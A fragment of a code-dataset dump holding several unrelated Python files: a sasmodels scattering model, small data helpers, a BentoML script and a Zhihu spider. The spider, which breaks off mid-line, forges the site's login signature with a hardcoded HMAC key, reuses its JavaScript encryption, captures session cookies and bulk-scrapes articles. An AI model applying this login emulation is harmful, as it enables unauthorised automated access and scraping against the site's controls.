error,\r\npower-law, and exponential functions.\r\nThis model is to calculate the scattering intensity by building a continuous\r\ncustom SLD profile against the radius of the particle.\r\nThe SLD profile is composed of a flat core, a flat solvent, a number (up to 9 )\r\nflat shells, and the interfacial layers between the adjacent flat shells\r\n(or core, and solvent) (see below).\r\n\r\n.. figure:: img/spherical_sld_profile.gif\r\n\r\n Exemplary SLD profile\r\n\r\nUnlike the model (using an analytical integration), the interfacial\r\nlayers here are sub-divided and numerically integrated assuming each of the\r\nsub-layers are described by a line function.\r\nThe number of the sub-layer can be given by users by setting the integer values\r\nof npts_inter. The form factor is normalized by the total volume of the sphere.\r\n\r\nDefinition\r\n----------\r\n\r\nThe form factor $P(q)$ in 1D is calculated by:\r\n\r\n.. math::\r\n\r\n P(q) = \\frac{f^2}{V_\\text{particle}} \\text{ where }\r\n f = f_\\text{core} + \\sum_{\\text{inter}_i=0}^N f_{\\text{inter}_i} +\r\n \\sum_{\\text{flat}_i=0}^N f_{\\text{flat}_i} +f_\\text{solvent}\r\n\r\nFor a spherically symmetric particle with a particle density $\\rho_x(r)$\r\nthe sld function can be defined as:\r\n\r\n.. math::\r\n\r\n f_x = 4 \\pi \\int_{0}^{\\infty} \\rho_x(r) \\frac{\\sin(qr)} {qr^2} r^2 dr\r\n\r\n\r\nso that individual terms can be calcualted as follows:\r\n\r\n.. math::\r\n f_\\text{core} = 4 \\pi \\int_{0}^{r_\\text{core}} \\rho_\\text{core}\r\n \\frac{\\sin(qr)} {qr} r^2 dr =\r\n 3 \\rho_\\text{core} V(r_\\text{core})\r\n \\Big[ \\frac{\\sin(qr_\\text{core}) - qr_\\text{core} \\cos(qr_\\text{core})}\r\n {qr_\\text{core}^3} \\Big]\r\n\r\n f_{\\text{inter}_i} = 4 \\pi \\int_{\\Delta t_{ \\text{inter}_i } }\r\n \\rho_{ \\text{inter}_i } \\frac{\\sin(qr)} {qr} r^2 dr\r\n\r\n f_{\\text{shell}_i} = 4 \\pi \\int_{\\Delta t_{ \\text{inter}_i } }\r\n \\rho_{ \\text{flat}_i } \\frac{\\sin(qr)} {qr} r^2 dr =\r\n 3 \\rho_{ \\text{flat}_i } V ( r_{ \\text{inter}_i } +\r\n \\Delta t_{ \\text{inter}_i } )\r\n \\Big[ \\frac{\\sin(qr_{\\text{inter}_i} + \\Delta t_{ \\text{inter}_i } )\r\n - q (r_{\\text{inter}_i} + \\Delta t_{ \\text{inter}_i })\r\n \\cos(q( r_{\\text{inter}_i} + \\Delta t_{ \\text{inter}_i } ) ) }\r\n {q ( r_{\\text{inter}_i} + \\Delta t_{ \\text{inter}_i } )^3 } \\Big]\r\n -3 \\rho_{ \\text{flat}_i } V(r_{ \\text{inter}_i })\r\n \\Big[ \\frac{\\sin(qr_{\\text{inter}_i}) - qr_{\\text{flat}_i}\r\n \\cos(qr_{\\text{inter}_i}) } {qr_{\\text{inter}_i}^3} \\Big]\r\n\r\n f_\\text{solvent} = 4 \\pi \\int_{r_N}^{\\infty} \\rho_\\text{solvent}\r\n \\frac{\\sin(qr)} {qr} r^2 dr =\r\n 3 \\rho_\\text{solvent} V(r_N)\r\n \\Big[ \\frac{\\sin(qr_N) - qr_N \\cos(qr_N)} {qr_N^3} \\Big]\r\n\r\n\r\nHere we assumed that the SLDs of the core and solvent are constant against $r$.\r\nThe SLD at the interface between shells, $\\rho_{\\text {inter}_i}$\r\nis calculated with a function chosen by an user, where the functions are\r\n\r\nExp:\r\n\r\n.. math::\r\n \\rho_{{inter}_i} (r) = \\begin{cases}\r\n B \\exp\\Big( \\frac {\\pm A(r - r_{\\text{flat}_i})}\r\n {\\Delta t_{ \\text{inter}_i }} \\Big) +C & \\text{for} A \\neq 0 \\\\\r\n B \\Big( \\frac {(r - r_{\\text{flat}_i})}\r\n {\\Delta t_{ \\text{inter}_i }} \\Big) +C & \\text{for} A = 0 \\\\\r\n \\end{cases}\r\n\r\nPower-Law\r\n\r\n.. math::\r\n \\rho_{{inter}_i} (r) = \\begin{cases}\r\n \\pm B \\Big( \\frac {(r - r_{\\text{flat}_i} )} {\\Delta t_{ \\text{inter}_i }}\r\n \\Big) ^A +C & \\text{for} A \\neq 0 \\\\\r\n \\rho_{\\text{flat}_{i+1}} & \\text{for} A = 0 \\\\\r\n \\end{cases}\r\n\r\nErf:\r\n\r\n.. math::\r\n \\rho_{{inter}_i} (r) = \\begin{cases}\r\n B \\text{erf} \\Big( \\frac { A(r - r_{\\text{flat}_i})}\r\n {\\sqrt{2} \\Delta t_{ \\text{inter}_i }} \\Big) +C & \\text{for} A \\neq 0 \\\\\r\n B \\Big( \\frac {(r - r_{\\text{flat}_i} )} {\\Delta t_{ \\text{inter}_i }}\r\n \\Big) +C & \\text{for} A = 0 \\\\\r\n \\end{cases}\r\n\r\nThe functions are normalized so that they vary between 0 and 1, and they are\r\nconstrained such that the SLD is continuous at the boundaries of the interface\r\nas well as each sub-layers. Thus B and C are determined.\r\n\r\nOnce $\\rho_{\\text{inter}_i}$ is found at the boundary of the sub-layer of the\r\ninterface, we can find its contribution to the form factor $P(q)$\r\n\r\n.. math::\r\n f_{\\text{inter}_i} = 4 \\pi \\int_{\\Delta t_{ \\text{inter}_i } }\r\n \\rho_{ \\text{inter}_i } \\frac{\\sin(qr)} {qr} r^2 dr =\r\n 4 \\pi \\sum_{j=0}^{npts_{\\text{inter}_i} -1 }\r\n \\int_{r_j}^{r_{j+1}} \\rho_{ \\text{inter}_i } (r_j)\r\n \\frac{\\sin(qr)} {qr} r^2 dr \\approx\r\n\r\n 4 \\pi \\sum_{j=0}^{npts_{\\text{inter}_i} -1 } \\Big[\r\n 3 ( \\rho_{ \\text{inter}_i } ( r_{j+1} ) - \\rho_{ \\text{inter}_i }\r\n ( r_{j} ) V ( r_{ \\text{sublayer}_j } )\r\n \\Big[ \\frac {r_j^2 \\beta_\\text{out}^2 \\sin(\\beta_\\text{out})\r\n - (\\beta_\\text{out}^2-2) \\cos(\\beta_\\text{out}) }\r\n {\\beta_\\text{out}^4 } \\Big]\r\n\r\n - 3 ( \\rho_{ \\text{inter}_i } ( r_{j+1} ) - \\rho_{ \\text{inter}_i }\r\n ( r_{j} ) V ( r_{ \\text{sublayer}_j-1 } )\r\n \\Big[ \\frac {r_{j-1}^2 \\sin(\\beta_\\text{in})\r\n - (\\beta_\\text{in}^2-2) \\cos(\\beta_\\text{in}) }\r\n {\\beta_\\text{in}^4 } \\Big]\r\n\r\n + 3 \\rho_{ \\text{inter}_i } ( r_{j+1} ) V ( r_j )\r\n \\Big[ \\frac {\\sin(\\beta_\\text{out}) - \\cos(\\beta_\\text{out}) }\r\n {\\beta_\\text{out}^4 } \\Big]\r\n\r\n - 3 \\rho_{ \\text{inter}_i } ( r_{j} ) V ( r_j )\r\n \\Big[ \\frac {\\sin(\\beta_\\text{in}) - \\cos(\\beta_\\text{in}) }\r\n {\\beta_\\text{in}^4 } \\Big]\r\n \\Big]\r\n\r\nwhere\r\n\r\n.. math::\r\n V(a) = \\frac {4\\pi}{3}a^3\r\n\r\n a_\\text{in} ~ \\frac{r_j}{r_{j+1} -r_j} \\text{, } a_\\text{out}\r\n ~ \\frac{r_{j+1}}{r_{j+1} -r_j}\r\n\r\n \\beta_\\text{in} = qr_j \\text{, } \\beta_\\text{out} = qr_{j+1}\r\n\r\n\r\nWe assume the $\\rho_{\\text{inter}_i} (r)$ can be approximately linear\r\nwithin a sub-layer $j$\r\n\r\nFinally form factor can be calculated by\r\n\r\n.. math::\r\n\r\n P(q) = \\frac{[f]^2} {V_\\text{particle}} \\text{where} V_\\text{particle}\r\n = V(r_{\\text{shell}_N})\r\n\r\nFor 2D data the scattering intensity is calculated in the same way as 1D,\r\nwhere the $q$ vector is defined as\r\n\r\n.. math::\r\n\r\n q = \\sqrt{q_x^2 + q_y^2}\r\n\r\n\r\n.. figure:: img/spherical_sld_1d.jpg\r\n\r\n 1D plot using the default values (w/400 data point).\r\n\r\n.. figure:: img/spherical_sld_default_profile.jpg\r\n\r\n SLD profile from the default values.\r\n\r\n.. note::\r\n The outer most radius is used as the effective radius for S(Q)\r\n when $P(Q) * S(Q)$ is applied.\r\n\r\nReferences\r\n----------\r\nL A Feigin and D I Svergun, Structure Analysis by Small-Angle X-Ray\r\nand Neutron Scattering, Plenum Press, New York, (1987)\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom numpy import inf\r\n\r\nname = \"spherical_sld\"\r\ntitle = \"Sperical SLD intensity calculation\"\r\ndescription = \"\"\"\r\n I(q) =\r\n background = Incoherent background [1/cm]\r\n \"\"\"\r\ncategory = \"sphere-based\"\r\n\r\n# pylint: disable=bad-whitespace, line-too-long\r\n# [\"name\", \"units\", default, [lower, upper], \"type\", \"description\"],\r\nparameters = [[\"n_shells\", \"\", 1, [0, 10], \"volume\", \"number of shells\"],\r\n [\"npts_inter\", \"\", 35, [0, inf], \"\", \"number of points in each sublayer Must be odd number\"],\r\n [\"radius_core\", \"Ang\", 50.0, [0, inf], \"volume\", \"intern layer thickness\"],\r\n [\"sld_core\", \"1e-6/Ang^2\", 2.07, [-inf, inf], \"\", \"sld function flat\"],\r\n [\"sld_solvent\", \"1e-6/Ang^2\", 1.0, [-inf, inf], \"\", \"sld function solvent\"],\r\n [\"func_inter0\", \"\", 0, [0, 4], \"\", \"Erf:0, RPower:1, LPower:2, RExp:3, LExp:4\"],\r\n [\"thick_inter0\", \"Ang\", 50.0, [0, inf], \"volume\", \"intern layer thickness for core layer\"],\r\n [\"nu_inter0\", \"\", 2.5, [-inf, inf], \"\", \"steepness parameter for core layer\"],\r\n [\"sld_flat[n_shells]\", \"1e-6/Ang^2\", 4.06, [-inf, inf], \"\", \"sld function flat\"],\r\n [\"thick_flat[n_shells]\", \"Ang\", 100.0, [0, inf], \"volume\", \"flat layer_thickness\"],\r\n [\"func_inter[n_shells]\", \"\", 0, [0, 4], \"\", \"Erf:0, RPower:1, LPower:2, RExp:3, LExp:4\"],\r\n [\"thick_inter[n_shells]\", \"Ang\", 50.0, [0, inf], \"volume\", \"intern layer thickness\"],\r\n [\"nu_inter[n_shells]\", \"\", 2.5, [-inf, inf], \"\", \"steepness parameter\"],\r\n ]\r\n# pylint: enable=bad-whitespace, line-too-long\r\nsource = [\"lib/librefl.c\", \"lib/sph_j1c.c\", \"spherical_sld.c\"]\r\nsingle = False\r\n\r\nprofile_axes = ['Radius (A)', 'SLD (1e-6/A^2)']\r\ndef profile(n_shells, radius_core, sld_core, sld_solvent, sld_flat,\r\n thick_flat, func_inter, thick_inter, nu_inter, npts_inter):\r\n \"\"\"\r\n Returns shape profile with x=radius, y=SLD.\r\n \"\"\"\r\n\r\n z = []\r\n beta = []\r\n z0 = 0\r\n # two sld points for core\r\n z.append(0)\r\n beta.append(sld_core)\r\n z.append(radius_core)\r\n beta.append(sld_core)\r\n z0 += radius_core\r\n\r\n for i in range(1, n_shells+2):\r\n dz = thick_inter[i-1]/npts_inter\r\n # j=0 for interface, j=1 for flat layer\r\n for j in range(0, 2):\r\n # interation for sub-layers\r\n for n_s in range(0, npts_inter+1):\r\n if j == 1:\r\n if i == n_shells+1:\r\n break\r\n # shift half sub thickness for the first point\r\n z0 -= dz#/2.0\r\n z.append(z0)\r\n #z0 -= dz/2.0\r\n z0 += thick_flat[i]\r\n sld_i = sld_flat[i]\r\n beta.append(sld_flat[i])\r\n dz = 0\r\n else:\r\n nu = nu_inter[i-1]\r\n # decide which sld is which, sld_r or sld_l\r\n if i == 1:\r\n sld_l = sld_core\r\n else:\r\n sld_l = sld_flat[i-1]\r\n if i == n_shells+1:\r\n sld_r = sld_solvent\r\n else:\r\n sld_r = sld_flat[i]\r\n # get function type\r\n func_idx = func_inter[i-1]\r\n # calculate the sld\r\n sld_i = intersldfunc(func_idx, npts_inter, n_s, nu,\r\n sld_l, sld_r)\r\n # append to the list\r\n z.append(z0)\r\n beta.append(sld_i)\r\n z0 += dz\r\n if j == 1:\r\n break\r\n z.append(z0)\r\n beta.append(sld_solvent)\r\n z_ext = z0/5.0\r\n z.append(z0+z_ext)\r\n beta.append(sld_solvent)\r\n # return sld profile (r, beta)\r\n return np.asarray(z), np.asarray(beta)*1e-6\r\n\r\ndef ER(n_shells, radius_core, thick_inter0, thick_inter, thick_flat):\r\n n_shells = int(n_shells)\r\n total_thickness = thick_inter0\r\n total_thickness += np.sum(thick_inter[:n_shells], axis=0)\r\n total_thickness += np.sum(thick_flat[:n_shells], axis=0)\r\n return total_thickness + radius_core\r\n\r\n\r\ndemo = {\r\n \"n_shells\": 4,\r\n \"npts_inter\": 35.0,\r\n \"radius_core\": 50.0,\r\n \"sld_core\": 2.07,\r\n \"sld_solvent\": 1.0,\r\n \"thick_inter0\": 50.0,\r\n \"func_inter0\": 0,\r\n \"nu_inter0\": 2.5,\r\n \"sld_flat\":[4.0,3.5,4.0,3.5],\r\n \"thick_flat\":[100.0,100.0,100.0,100.0],\r\n \"func_inter\":[0,0,0,0],\r\n \"thick_inter\":[50.0,50.0,50.0,50.0],\r\n \"nu_inter\":[2.5,2.5,2.5,2.5],\r\n }\r\n\r\n#TODO: Not working yet\r\n\"\"\"\r\ntests = [\r\n # Accuracy tests based on content in test/utest_extra_models.py\r\n [{\"n_shells\":4,\r\n 'npts_inter':35,\r\n \"radius_core\":50.0,\r\n \"sld_core\":2.07,\r\n \"sld_solvent\": 1.0,\r\n \"sld_flat\":[4.0,3.5,4.0,3.5],\r\n \"thick_flat\":[100.0,100.0,100.0,100.0],\r\n \"func_inter\":[0,0,0,0],\r\n \"thick_inter\":[50.0,50.0,50.0,50.0],\r\n \"nu_inter\":[2.5,2.5,2.5,2.5]\r\n }, 0.001, 0.001],\r\n]\r\n\"\"\"\r\n","sub_path":"sasmodels/models/spherical_sld.py","file_name":"spherical_sld.py","file_ext":"py","file_size_in_byte":12270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"266627738","text":"# encoding: utf-8\nfrom business.database import db\nfrom business.helpers import auxiliar\nfrom business.helpers.constantes import Constantes\nfrom business.helpers.data import fetch_data_db, update_data_db, must_update\nfrom business.modules import endpoints\nfrom business.helpers.logger import setup_logger\n\nlog = setup_logger(__name__)\nconstantes = Constantes()\n\n\ndef get_itinerary_detail(it_id, force_update=True):\n \"\"\"\n Retrieves Itinerary detais based on its id\n :param it_id: itinerary id\n :param force_update: determine whether the list will be updated from endpoint or not\n :return: itinerary json object\n \"\"\"\n args = {\"itis\": it_id}\n return fetch_data_db(constantes.db_itis, it_id, endpoints.get_it_points_details, args, update=force_update)\n\n\ndef get_all_lines(args=None, only_available=False, force_update=False):\n \"\"\"\n Retrieves all lines based on its availability\n :param args:\n :param only_available: if has to be only available and with hour defined\n :param force_update: update lines based on proper endpoint\n :return:\n \"\"\"\n lines = []\n if force_update or must_update(constantes.db_lines, None):\n lines_endpoint = endpoints.get_lines_details_remote()\n count = 0\n for line in lines_endpoint:\n count += 1\n lines.append(update_data_db(constantes.db_lines, line['id'], None, None, line))\n log.debug(\"get_all_lines() line {}/{} updated!\".format(count, len(lines_endpoint)))\n\n #only for tests purposes\n # break\n else:\n lines = db.query_all(constantes.db_lines)\n\n\n if only_available:\n available = []\n for line in lines:\n if 'opera' not in line['adic'] and 'hoje' not in line['adic']:\n available.append(line)\n return available\n else:\n return lines\n\n\ndef is_line_available(id, lines):\n \"\"\"\n Check if line is available based on list of lines\n :param id: id that will be checked\n :param update: update list of lines\n :return:\n \"\"\"\n return True if auxiliar.get_match(lines, lambda x: x['id'] == str(id)) is not None else False\n\n\n\n","sub_path":"business/components/itinerary.py","file_name":"itinerary.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"121390539","text":"\"\"\"RefreshLinks:\nin each md there are links to http://\nwhen some of them are added as new_section\nreplace them with the location of the new_section ...\n\"\"\"\n# pylint: disable=C0116,R0903,E0401,W0703,W1201,redefined-outer-name,missing-function-docstring,E0401,C0114,W0511,W1203,C0200,C0103,W1203\nfrom typing import List\n\nfrom configs.config import ConfigMap\nfrom models.map import Map\nfrom models.refresh_links import RefreshLinks\nfrom models.section import Section\n\n\nclass RefreshLinksProcessor:\n \"\"\"RefreshLinksProcessor\"\"\"\n\n def __init__(self, config_map: ConfigMap, persist_fs):\n \"\"\"init\"\"\"\n self.config_map = config_map\n self.persist_fs = persist_fs\n\n def process(self):\n \"\"\"Scan sections an update links.\"\"\"\n sections: List[Section] = Map.build_from_dirs(\n self.config_map,\n self.persist_fs,\n self.persist_fs.list_dirs(self.config_map.get_repo_path),\n )\n refresh_links: RefreshLinks = RefreshLinks(\n self.config_map, self.persist_fs, sections\n )\n refresh_links.refresh_map_links()\n","sub_path":"zero_to_one_hundred/processors/refresh_links_processor.py","file_name":"refresh_links_processor.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"125543574","text":"import argparse\r\nimport sys\r\n\r\nfrom titanic import TitanicMain\r\nfrom bentoml_process import BentoML\r\n\r\ndef _str2bool(v):\r\n if isinstance(v, bool):\r\n return v\r\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\r\n return True\r\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\r\n return False\r\n else:\r\n raise argparse.ArgumentTypeError('Boolean value expected.')\r\n\r\nif __name__ == \"__main__\":\r\n argument_parser = argparse.ArgumentParser()\r\n\r\n argument_parser.add_argument(\r\n '--is_keras', type=str,\r\n help=\"please input 1 or 0\"\r\n )\r\n\r\n args = argument_parser.parse_args()\r\n try:\r\n is_keras = _str2bool(args.is_keras)\r\n except argparse.ArgumentTypeError as E:\r\n print(\"ERROR!! please input is_keras 0 or 1\")\r\n sys.exit()\r\n titanic = TitanicMain()\r\n bento_ml = BentoML()\r\n\r\n if is_keras:\r\n model = titanic.run(is_keras)\r\n save_path = bento_ml.run_bentoml(model, None, is_keras)\r\n else:\r\n rf_model, lgbm_model = titanic.run(is_keras)\r\n save_path = bento_ml.run_bentoml(rf_model, lgbm_model, is_keras)\r\n\r\n print(\"save path\")\r\n print(save_path)\r\n \r\n\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"227000694","text":"# coding: utf8\n# author: AIpha\n\nimport requests\nimport hmac\nimport hashlib\nimport execjs\nfrom urllib.parse import urlencode\nimport time\nimport re\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport base64\nimport json\nimport copy\nfrom hyper.contrib import HTTP20Adapter\nfrom lxml import etree\nimport pymongo\nfrom urllib.parse import quote,urlencode\nimport logging\nimport asyncio\nfrom aiohttp import ClientSession\nfrom redis import StrictRedis, ConnectionPool\nfrom gevent import monkey\nmonkey.patch_all()\n# from hashlib import md5\nfrom queue import Queue\n\n# logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n# logger = logging.getLogger(__name__)\ncookie_queue = {}\npool = ConnectionPool(host=\"localhost\", port=6379, db=2)\nnum = 0\nnum_1 = 0\nnum_2 = 0\n\n\nclass ZhihuSpider():\n def __init__(self, username, password):\n self.login_url = \"https://www.zhihu.com/signin\"\n self.login_check = \"https://www.zhihu.com/api/v3/oauth/sign_in\"\n self.login_data = {\n \"client_id\": \"c3cef7c66a1843f8b3a9e6a1e3160e20\",\n \"grant_type\": \"password\",\n \"timestamp\": \"\",\n \"source\": \"com.zhihu.web\",\n \"signature\": \"\",\n \"username\": username,\n \"password\": password,\n \"captcha\": \"\",\n \"lang\": \"cn\",\n \"utm_source\": \"\",\n \"ref_source\": \"other_https://www.zhihu.com/signin\",\n }\n self.headers = {\n \"Host\": \"www.zhihu.com\",\n \"Connection\": \"keep-alive\",\n \"Pragma\": \"no-cache\",\n \"Cache-Control\": \"no-cache\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\",\n \"Accept\": \"*/*\",\n \"Referer\": \"https://www.zhihu.com/signin\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n }\n self.page_headers = copy.deepcopy(self.headers)\n self.page_headers[\"Referer\"] = 'https://www.zhihu.com/'\n self.page_headers[\"X-API-VERSION\"] = '3.0.53'\n self.headers_login = {\n \":authority\": \"www.zhihu.com\",\n \":method\": \"GET\",\n \":path\": \"/\",\n \":scheme\": \"https\",\n \"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n \"accept-encoding\": \"gzip, deflate\",\n \"accept-language\": \"zh-CN,zh;q=0.9\",\n \"cache-control\": \"no-cache\",\n \"pragma\": \"no-cache\",\n \"referer\": \"https://www.zhihu.com/signin\",\n \"upgrade-insecure-requests\": \"1\",\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\",\n }\n\n def login(self, captcha_lang=\"en\"):\n '''\n 登陆\n :param captcha_lang: 验证码类型\n :return:\n '''\n xsrf = self._get_xsrf()\n timestamp = str(int(time.time() * 1000))\n self.login_data['signature'] = self._get_signature(timestamp)\n self.login_data['timestamp'] = timestamp\n self.login_data['captcha'] = self._get_captcha(captcha_lang, self.headers)[0]\n self.headers['x-xsrftoken'] = xsrf.strip()\n self.headers['x-zse-83'] = '3_2.0'\n self.headers['content-type'] = 'application/x-www-form-urlencoded'\n # print(execjs.get().name)\n with open('zhihu.js', 'r', errors='ignore') as f:\n js_code = f.read()\n exejs = execjs.compile(js_code)\n encrypt_js = exejs.call('b', urlencode(self.login_data))\n # print(encrypt_js)\n # print(self.headers)\n response = requests.post(self.login_check, headers=self.headers, data=encrypt_js)\n # print(response.text)\n if 'error' in response.text:\n print(json.loads(response.text)['error']['message'])\n if response.status_code in [200, 201, 202]:\n print('登录成功')\n cookies = response.headers['Set-Cookie'].split(';')\n res_cookie = []\n set_cookie = []\n for cookie in cookies:\n set_cookie.append(cookie.split(','))\n for sets in set_cookie:\n # _zap、 tgw_l7_route参数备用\n for set in sets:\n if 'z_c0' in set:\n res_cookie.append(set)\n else:\n continue\n login_cookie = self.headers['Cookie']+\";\"+res_cookie[0]\n self.headers_login['Cookie'] = login_cookie\n self.headers['Cookie'] = login_cookie\n # self.headers['Cookie'] = self.headers['Cookie']+\";\"+res_cookie[0]\n # zhihu_http2 = HTTP20Connection(self.login_url)\n # req_http2 = requests.Session()\n # req_http2.mount(self.login_url, HTTP20Adapter())\n # res_login = req_http2.get(url=self.login_url, headers=self.headers_login)\n # res_login = requests.get(url=self.login_url, headers=self.headers)\n # for i in self.zhihu_parse(res_login):\n # pass\n # session_token = re.findall('session_token=(.*?)&', str(res_login.text), re.S)[0]\n # self.next_page(session_token)\n # return login_cookie\n cookie_queue.update({\"cookie\":login_cookie})\n else:\n print('登录失败')\n return False\n\n def _get_xsrf(self):\n response = requests.head(url=self.login_url, headers=self.headers)\n cookies = response.headers['Set-Cookie'].split(';')\n res_cookie = []\n set_cookie = []\n for cookie in cookies:\n set_cookie.append(cookie.split(','))\n for sets in set_cookie:\n # _zap、 tgw_l7_route参数备用\n for set in sets:\n if '_xsrf' in set or 'tgw_l7_route' in set:\n res_cookie.append(set)\n else:\n continue\n # print(res_cookie)\n self.headers['Cookie'] = ';'.join(res_cookie).strip()\n return res_cookie[-1]\n\n def _get_signature(self, timestamp):\n ha = hmac.new(b'd1b964811afb40118a12068ff74a12f4', digestmod=hashlib.sha1)\n grant_type = self.login_data['grant_type']\n client_id = self.login_data['client_id']\n source = self.login_data['source']\n ha.update(bytes((grant_type + client_id + source + timestamp), 'utf-8'))\n return ha.hexdigest()\n\n def _get_captcha(self, lang, headers):\n \"\"\"\n 请求验证码的 API 接口,无论是否需要验证码都需要请求一次\n 如果需要验证码会返回图片的 base64 编码\n 根据 lang 参数匹配验证码,需要人工输入\n :param lang: 返回验证码的语言(en/cn)\n :param headers: 带授权信息的请求头部\n :return: 验证码的 POST 参数\n \"\"\"\n if lang == 'cn':\n api = 'https://www.zhihu.com/api/v3/oauth/captcha?lang=cn'\n else:\n api = 'https://www.zhihu.com/api/v3/oauth/captcha?lang=en'\n resp = requests.get(api, headers=headers)\n show_captcha = re.search(r'true', resp.text)\n capt_headers = copy.deepcopy(headers)\n cookies = resp.headers['Set-Cookie'].split(';')\n res_cookie = []\n set_cookie = []\n for cookie in cookies:\n set_cookie.append(cookie.split(','))\n for sets in set_cookie:\n # _zap、 tgw_l7_route参数备用\n for set in sets:\n if 'capsion_ticket' in set:\n res_cookie.append(set)\n else:\n continue\n # print(res_cookie)\n capt_headers['Cookie'] = ';'.join(res_cookie).strip()\n self.headers['Cookie'] = self.headers['Cookie']+\";\"+res_cookie[0]\n\n if show_captcha:\n put_resp = requests.put(api, headers=capt_headers)\n json_data = json.loads(put_resp.text)\n # print(put_resp.text)\n img_base64 = json_data['img_base64'].replace(r'\\n', '')\n with open('./captcha.jpg', 'wb') as f:\n f.write(base64.b64decode(img_base64))\n img = Image.open('./captcha.jpg')\n if lang == 'cn':\n plt.imshow(img)\n print('点击所有倒立的汉字,按回车提交')\n points = plt.ginput(7)\n capt = json.dumps({'img_size': [200, 44],\n 'input_points': [[i[0]/2, i[1]/2] for i in points]})\n else:\n img.show()\n capt = input('请输入图片里的验证码:')\n # 这里必须先把参数 POST 验证码接口\n requests.post(api, data={'input_text': capt}, headers=headers)\n return capt, res_cookie[-1]\n return ''\n\n\nclass ZhuanLan():\n def __init__(self, login_cookie=None, data_queue=None):\n self.login_cookie = login_cookie\n self.data_queue = data_queue\n self.headers = {\n \"Host\": \"zhuanlan.zhihu.com\",\n \"Connection\": \"keep-alive\",\n \"Pragma\": \"no-cache\",\n \"Cache-Control\": \"no-cache\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\",\n \"Accept\": \"*/*\",\n \"Referer\": \"https://www.zhihu.com/signin\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n }\n self.redis_cnn = StrictRedis(connection_pool=pool)\n\n async def zhuanlan_page(self, semaphore, page):\n '''\n 请求知乎的首页AJAX请求\n :param response:\n :param session_token:\n :return:\n '''\n # zhuanlan_url = 'https://zhuanlan.zhihu.com/'\n zhuanlan_url = 'https://zhuanlan.zhihu.com/api/recommendations/columns?'\n headers = copy.deepcopy(self.headers)\n headers.update(self.login_cookie)\n # for offset in range(page_size):\n '''后台接口没有关闭,可以一次性请求多次数据'''\n form_data = {\n \"limit\": 8,\n \"offset\": page * 8,\n \"seed\": 7\n }\n # if page == 499:\n # print(page)\n async with semaphore:\n async with ClientSession() as session:\n async with session.get(zhuanlan_url + urlencode(form_data), headers=headers) as response:\n try:\n global num\n num += 1\n response = await response.read()\n # print(response)\n data = json.loads(response)\n # print(len(data['data']))\n for node in data['data']:\n item = {}\n # item['zl_xq_url'] = node.get('url', \"\").encode('utf-8').decode('utf-8')\n type = node.get('type', \"\").encode('utf-8').decode('utf-8')\n url_token = node.get('url_token', \"\").encode('utf-8').decode('utf-8')\n if type != 'column':\n print(type)\n self.redis_cnn.sadd('zhuanlan_xq_url', type.replace(\"column\", \"columns\") + '/' + url_token)\n except Exception as msg:\n print(msg)\n\n\nclass XqZhuanLan(ZhuanLan):\n def __init__(self, login_cookie=None):\n super(XqZhuanLan, self).__init__()\n self.headers.update(login_cookie)\n\n async def get_page(self, semaphore):\n async with semaphore:\n async with ClientSession() as session:\n article_str = self.redis_cnn.spop('zhuanlan_xq_url')\n if article_str:\n for offset in range(10):\n page_data = {\n \"include\": \"data[*].admin_closed_comment,comment_count,suggest_edit,is_title_image_full_screen,can_comment,upvoted_followees,can_open_tipjar,can_tip,voteup_count,voting,topics,review_info,author.is_following,is_labeled,label_info\",\n \"limit\": \"10\",\n \"offset\": offset * 10\n }\n zhuanlan_url = \"https://zhuanlan.zhihu.com/api/\" + article_str.decode() + '/articles?' + urlencode(page_data).replace(\"%2A\", \"*\")\n async with session.get(zhuanlan_url, headers=self.headers) as response:\n try:\n global num_1\n num_1 += 1\n response = await response.read()\n # print(response)\n data = json.loads(response.decode())\n # print(len(data['data']))\n # html = etree.HTML(response.decode())\n # item = {}\n # item['doc'] = html.xpath('normalize-space(.//div[contains(@class, \"RichText\")])')\n # item['title'] = html.xpath('normalize-space(.//h1[contains(@class, \"Post-Title\")])')\n # item['img_url'] = html.xpath('.//div[contains(@class, \"RichText\")]//img/@src')\n for node in data['data']:\n article_xq_url = node.get('url', \"\").encode('utf-8').decode('utf-8')\n self.redis_cnn.sadd('xq_aticle_url', article_xq_url)\n # self.redis_cnn.sadd(\"xq_aticle_url\", zl_xq_url)\n except Exception as msg:\n print(msg)\n else:\n print('redis-zhuanlan_xq_url队列为空')\n\n\nclass ArticleZhuanlan(ZhuanLan):\n def __init__(self, login_cookie=None):\n super(ArticleZhuanlan, self).__init__()\n self.headers.update(login_cookie)\n self.conn = pymongo.MongoClient(\"localhost\")\n self.mydb = self.conn[\"zhihu_artcile_zhuanlan\"]\n\n async def article(self, semaphore):\n article_url = self.redis_cnn.spop(\"xq_aticle_url\")\n if article_url:\n async with semaphore:\n async with ClientSession() as session:\n async with session.get(article_url.decode(), headers=self.headers) as response:\n global num_2\n num_2 += 1\n response = await response.read()\n html = 